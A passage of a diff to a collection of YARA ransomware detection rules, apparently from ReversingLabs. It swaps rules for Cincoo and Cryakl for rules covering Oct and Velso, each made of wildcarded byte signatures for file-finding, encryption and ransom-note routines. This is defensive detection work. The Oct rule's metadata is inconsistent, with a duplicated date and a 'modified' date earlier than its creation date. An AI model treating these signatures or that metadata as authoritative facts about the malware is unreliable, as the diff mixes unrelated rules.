+            8D 84 24 ?? ?? ?? ?? 83 C4 ?? 81 C1 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B 46 ?? 03 C1 50
+            E8 ?? ?? ?? ?? 8B 44 24 ?? 83 C4 ?? C7 00 ?? ?? ?? ?? EB ?? 8B 44 24 ?? C7 00 ?? ??
+            ?? ?? 8B 4C 24 ?? 8B 74 24 ?? 6A ?? 89 74 24 ?? 8D 41 ?? 50 FF 71 ?? 8D 41 ?? FF 71
+            ?? 50 51 6A ?? 6A ?? FF 76 ?? E8 ?? ?? ?? ?? FF D0 85 C0 0F 89 ?? ?? ?? ?? 83 C8 ??
+            F0 0F C1 46 ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 46 ?? 83 C4 ?? 33
+            FF 85 C0 0F 84 ?? ?? ?? ?? 83 C6 ?? 8B 0E E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 76 ?? 47 8B
+            40 ?? 3B F8 72 ?? 8B 74 24 ?? 85 C0 E9 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 46 ?? 0F 85 ??
+            ?? ?? ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85
+            C9 0F 84 ?? ?? ?? ?? 8D 7E ?? 66 0F 1F 44 00 ?? 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D
+            7F ?? 8B 4E ?? 40 89 44 24 ?? 3B C1 72 ?? E9 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 56 ?? 8B
+            C1 F0 0F B1 0A 83 F8 ?? 75 ?? 8B 46 ?? 89 44 24 ?? 0F B7 46 ?? 83 C0 ?? 8B C8 89 44
+            24 ?? E8 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 0F B7 4E ?? 51 FF 76 ?? 8D 4F ?? 51 E8 ?? ??
+            ?? ?? 0F B7 46 ?? 83 C4 ?? 89 47 ?? 0F 57 C0 8D 44 24 ?? C6 07 ?? C7 47 ?? ?? ?? ??
+            ?? 6A ?? FF 74 24 ?? 66 0F 13 44 24 ?? 57 50 FF 74 24 ?? E8 ?? ?? ?? ?? FF D0 8B CF
+            E8 ?? ?? ?? ?? 8D 56 ?? 85 F6 0F 84 ?? ?? ?? ?? 83 C8 ?? F0 0F C1 02 0F 85 ?? ?? ??
+            ?? 6A ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B 4E ?? 83 C4 ?? C7 44 24 ?? ?? ?? ?? ?? 85 C9 74
+            ?? 8D 7E ?? 8B 0F E8 ?? ?? ?? ?? 8B 44 24 ?? 8D 7F ?? 8B 4E ?? 40 89 44 24 ?? 3B C1
+            72 ?? 85 C9 74 ?? F0 FF 05 ?? ?? ?? ?? F0 FF 0D ?? ?? ?? ?? 8B 46 ?? 85 C0 74 ?? 50
+            E8 ?? ?? ?? ?? FF D0 8D 46 ?? 50 E8 ?? ?? ?? ?? FF D0 8B CE E8 ?? ?? ?? ?? E9 ?? ??
+            ?? ?? 5F 33 C0 5E 8B E5 5D C2
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*)) and ($change_desktop) and ($drop_ransom_note)
+		uint16(0)==0x5A4D and ((($enum_resources_v1) and ( all of ($find_files_v1_*)) and ( all of ($encrypt_files_v1_*))) or (($check_blacklisted_languages_v2) and ($fnv1a_hashing_v2) and ($create_net_host_trav_threads_v2) and ( all of ($decrypt_configuration_v2_*)) and ( all of ($encrypt_files_v2_p*))))
 }
-rule REVERSINGLABS_Win32_Ransomware_Cincoo : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Oct : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Cincoo ransomware."
+		description = "Yara rule that detects Oct ransomware."
 		author = "ReversingLabs"
-		id = "c7c2773c-5056-5127-8af7-7f5c5a8ea8a1"
-		date = "2022-06-21"
-		modified = "2022-06-21"
+		id = "e811a0ba-52df-5e88-ab71-df91d5cb584a"
+		date = "2024-10-01"
+		date = "2024-10-01"
+		modified = "2021-08-12"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Cincoo.yara#L1-L78"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6a7562cae90754ea75a9fb98ce73ebdb9acf1ad7f28f2240abe6cb592d717ca3"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/ByteCode.MSIL.Ransomware.Oct.yara#L1-L68"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "3973794d6bf26eaa752cfc70a217c059a190c63a0dd92b06de7c0893d92d9e88"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -41553,71 +41479,60 @@ rule REVERSINGLABS_Win32_Ransomware_Cincoo : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Cincoo"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? 53 56 57 A1 ?? ?? ?? ??
-            33 C5 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 89 55 ?? 8B D9 83 7B ?? ?? 8B F3 8B 45 ?? 8B 7D
-            ?? 89 45 ?? 72 ?? 8B 33 8D 4E ?? 66 8B 06 83 C6 ?? 66 85 C0 75 ?? 2B F1 D1 FE 0F 84
-            ?? ?? ?? ?? 3B 73 ?? 0F 85 ?? ?? ?? ?? 88 45 ?? 8D 55 ?? FF 75 ?? 8D 4D ?? C7 45 ??
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? C7 45 ?? ?? ?? ??
-            ?? 50 8B CB E8 ?? ?? ?? ?? 8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 8D 14 55 ?? ?? ?? ?? 8B
-            C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ??
-            ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 7B ?? ?? 72 ?? 8B 1B 8B 75 ?? 57 56 53 E8 ?? ??
-            ?? ?? 85 C0 75 ?? 8B 36 8B CF E8 ?? ?? ?? ?? 84 C0 74 ?? 57 56 E8 ?? ?? ?? ?? 85 C0
-            75 ?? 8B CF E8 ?? ?? ?? ?? 84 C0 75 ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E
-            5B 8B E5 5D C3
-        }
 		$encrypt_files = {
-            55 8B EC 83 EC ?? 8B 45 ?? 53 8B D9 89 45 ?? B9 ?? ?? ?? ?? 8B C1 56 8B 53 ?? 2B C2
-            8B 75 ?? 89 55 ?? 57 3B C6 0F 82 ?? ?? ?? ?? 8B 7B ?? 8D 04 32 8B F0 89 45 ?? 83 CE
-            ?? 89 7D ?? 3B F1 76 ?? 8B F1 EB ?? 8B C7 D1 E8 2B C8 3B F9 76 ?? BE ?? ?? ?? ?? EB
-            ?? 03 C7 3B F0 0F 42 F0 33 C9 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 81 F9 ?? ?? ?? ??
-            72 ?? 8D 41 ?? 3B C1 0F 86 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ??
-            ?? ?? 8B 55 ?? 8D 78 ?? 83 E7 ?? 89 47 ?? EB ?? 85 C9 74 ?? 51 E8 ?? ?? ?? ?? 8B 55
-            ?? 83 C4 ?? 8B F8 EB ?? 33 FF 8B 45 ?? 89 43 ?? 8B 45 ?? 89 73 ?? 8D 34 3A 03 C6 83
-            7D ?? ?? 89 45 ?? 52 72 ?? 8B 33 56 57 E8 ?? ?? ?? ?? FF 75 ?? 8B 45 ?? FF 75 ?? 03
-            C7 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 4D ?? 41 C6 00 ?? 81 F9 ?? ?? ?? ?? 72 ??
-            8B 56 ?? 83 C1 ?? 2B F2 8D 46 ?? 83 F8 ?? 77 ?? 8B F2 51 56 E8 ?? ?? ?? ?? 83 C4 ??
-            89 3B 8B C3 5F 5E 5B 8B E5 5D C2 ?? ?? 53 57 E8 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 56 E8
-            ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? C6 00 ?? 8B C3 89 3B 5F 5E 5B 8B E5 5D C2 ?? ?? E8 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? CC CC CC 56 8B F1 FF 76 ?? E8 ?? ?? ?? ?? 8B
-            4E ?? 83 F9 ?? 72 ?? 8B 06 8D 0C 4D ?? ?? ?? ?? 81 F9 ?? ?? ?? ?? 72 ?? 8B 50 ?? 83
-            C1 ?? 2B C2 83 C0 ?? 83 F8 ?? 77 ?? 8B C2 51 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 46 ?? ??
-            ?? ?? ?? 33 C0 C7 46 ?? ?? ?? ?? ?? 66 89 06 5E C3 E8 ?? ?? ?? ?? CC CC CC CC CC CC
-            8B 09 85 C9 74 ?? 8B 01 6A ?? FF 10 C3
+            1E 8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 03 0B 07 18 73 ?? ?? ?? ?? 0C 73
+            ?? ?? ?? ?? 0D 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 04 06
+            20 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F
+            ?? ?? ?? ?? 09 11 ?? 09 6F ?? ?? ?? ?? 1E 5B 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 19 6F ??
+            ?? ?? ?? 09 17 6F ?? ?? ?? ?? 08 09 6F ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 02 19 73 ??
+            ?? ?? ?? 13 ?? 2B ?? 11 ?? 11 ?? D2 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 13 ?? 15 33
+            ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 08 6F ?? ?? ?? ?? 02 28 ?? ?? ?? ?? DE ??
+            13 ?? 11 ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? DE ?? 2A
         }
-		$drop_ransom_note = {
-            52 51 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? 8D 4D ?? C6 46 ?? ??
-            E8 ?? ?? ?? ?? 8B 45 ?? E9 ?? ?? ?? ?? 8B CE C6 45 ?? ?? E8 ?? ?? ?? ?? 84 C0 0F 84
-            ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ??
-            8D 85 ?? ?? ?? ?? C6 45 ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 8D
-            4E ?? 50 E8 ?? ?? ?? ?? 81 CF ?? ?? ?? ?? 89 BD ?? ?? ?? ?? C6 45 ?? ?? 8B 95 ?? ??
-            ?? ?? 8B C2 8B 8D ?? ?? ?? ?? 2B C1 89 8D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 83 F8 ??
-            72 ?? 83 FA ?? 8D B5 ?? ?? ?? ?? 8D 41 ?? 0F 43 B5 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D
-            04 0E 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? C6 44 30 ?? ?? 8D 85 ?? ?? ?? ??
-            EB
+		$find_files = {
+            16 0A 38 ?? ?? ?? ?? 16 0B 2B ?? 02 06 9A 28 ?? ?? ?? ?? 2C ?? 02 06 9A 73 ?? ?? ?? ??
+            0C 08 72 ?? ?? ?? ?? 03 07 9A 28 ?? ?? ?? ?? 17 6F ?? ?? ?? ?? 0D 09 13 ?? 16 13 ?? 2B
+            ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 05 28 ?? ?? ?? ?? 1E
+            8D ?? ?? ?? ?? 25 D0 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ??
+            11 ?? 8E 69 32 ?? 07 17 58 0B 07 03 8E 69 32 ?? 06 17 58 0A 06 02 8E 69 3F ?? ?? ?? ??
+            2A
+        }
+		$collect_env_and_start_enc_proc = {
+            19 8D ?? ?? ?? ?? 0B 07 16 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 07 17 1B
+            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 07 18 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ??
+            ?? 28 ?? ?? ?? ?? A2 07 1F ?? 8D ?? ?? ?? ?? 0C 08 16 72 ?? ?? ?? ?? A2 08 17 72 ?? ??
+            ?? ?? A2 08 18 72 ?? ?? ?? ?? A2 08 19 72 ?? ?? ?? ?? A2 08 1A 72 ?? ?? ?? ?? A2 08 1B
+            72 ?? ?? ?? ?? A2 08 1C 72 ?? ?? ?? ?? A2 08 1D 72 ?? ?? ?? ?? A2 08 1E 72 ?? ?? ?? ??
+            A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08
+            1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ??
+            72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ??
+            ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ??
+            ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 1F ?? 72 ?? ?? ?? ?? A2 08 72 ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0A
+            06 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F ?? ?? ?? ?? DC 72 ?? ?? ?? ?? 16
+            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? 2C ?? 28 ?? ?? ?? ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($drop_ransom_note)
+		uint16(0)==0x5A4D and ($collect_env_and_start_enc_proc) and ($find_files) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_Cryakl : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Velso : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Cryakl ransomware."
+		description = "Yara rule that detects Velso ransomware."
 		author = "ReversingLabs"
-		id = "5c668278-458e-5b13-83c4-63beab5249ed"
+		id = "72c7baaa-4f83-54c5-ba71-2b45e5eeefd2"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Cryakl.yara#L1-L64"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "51d50ab1ce021e2facbca3a35af372186287a8d69b66651c9804234a409d9932"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Velso.yara#L1-L230"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "602be848a26106a1bd46cfc515578f0628687e6cb352e609a274220a61bcb620"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -41625,64 +41540,212 @@ rule REVERSINGLABS_Win32_Ransomware_Cryakl : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Cryakl"
+		tc_detection_name = "Velso"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$enum_and_encrypt_files_1 = {
-            8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ??
-            ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ?? ??
-            ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ??
-            ?? ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B 45 ?? E8 ??
-            ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 5A E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF
-            30 64 89 20 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 80 7C 02 ?? ?? 74 ?? 8D 45 ?? BA ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ??
-            E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85
-            C0 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8B 85 ?? ?? ??
-            ?? 83 E0 ?? 83 F8 ?? 75 ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 10 FF 92 ?? ?? ?? ??
-            84 C0 0F 84 ?? ?? ?? ?? FF 75 ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85
+		$find_files_p1 = {
+            55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? 89 A5 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? 89 04 24 E8 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? C9 C3 C7 04 24 ?? ?? ?? ?? 8B 4D ??
+            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ??
+            ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ??
+            ?? ?? ?? 83 EC ?? 85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ??
+            85 C0 74 ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ??
+            ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ??
+            C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 83 EC ?? 85 C0 0F 84 ?? ?? ?? ?? C7 04
+            24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0 51 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ??
+            ?? 8B 4D ?? E8 ?? ?? ?? ?? 85 C0 52 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ??
+            E8 ?? ?? ?? ?? 85 C0 51 0F 84 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ??
+            ?? 85 C0 52 0F 84 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ??
+            ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 04 24 8B 4D ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89
+            04 24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ??
+            89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24
         }
-		$enum_and_encrypt_files_2 = {
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 95 ??
-            ?? ?? ?? 33 C0 E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 0F 84 ?? ?? ?? ??
-            C6 45 ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 10 FF 52 ?? 8B D8
-            4B 85 DB 0F 8C ?? ?? ?? ?? 43 33 F6 8D 95 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 8D 8D ??
-            ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B 80 ?? ?? ?? ?? 8B D6 8B 38 FF 57 ?? 8B
-            85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 58 E8 ?? ?? ?? ?? 75 ?? C6 45 ?? ??
-            46 4B 0F 85 ?? ?? ?? ?? 80 7D ?? ?? 0F 84 ?? ?? ?? ?? A1 ?? ?? ?? ?? 50 A1 ?? ?? ??
-            ?? 50 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
-            8B 0D ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ??
-            ?? 83 C0 ?? 83 D2 ?? 89 05 ?? ?? ?? ?? 89 15 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ??
-            ?? ?? 8B 10 FF 92 ?? ?? ?? ?? 84 C0 75 ?? 68 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 35 ??
-            ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ??
-            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 80 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8
+		$find_files_p2 = {
+            8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 8D 95
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 39 D0 74 ?? 89 04 24 E8 ?? ?? ?? ??
+            EB ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 52 52 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ??
+            ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 51 51 74 ??
+            8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 52 52 74 ??
+            F6 85 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 4D ?? 89 85 ?? ?? ?? ??
+            8B 45 ?? 8B 51 ?? 8D 8D ?? ?? ?? ?? 8B 00 01 C2 89 04 24 89 54 24 ?? C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 51 51 89 44 24 ?? 8B 45 ?? 89 44 24
+            ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ??
+            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 74 ?? 89 04
+            24 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 39 D0 0F 84 ?? ?? ?? ?? 89 04
+            24 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8B 45 ?? 89 44 24 ??
+            8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 89
+            44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? EB
+            ?? 83 C5 ?? 83 BD ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 0F 87 ?? ?? ??
+            ?? 8B 85 ?? ?? ?? ?? FF 24 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8
+        }
+		$enum_resources_p1 = {
+            55 89 E5 81 EC ?? ?? ?? ?? 8D 45 ?? 89 65 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ??
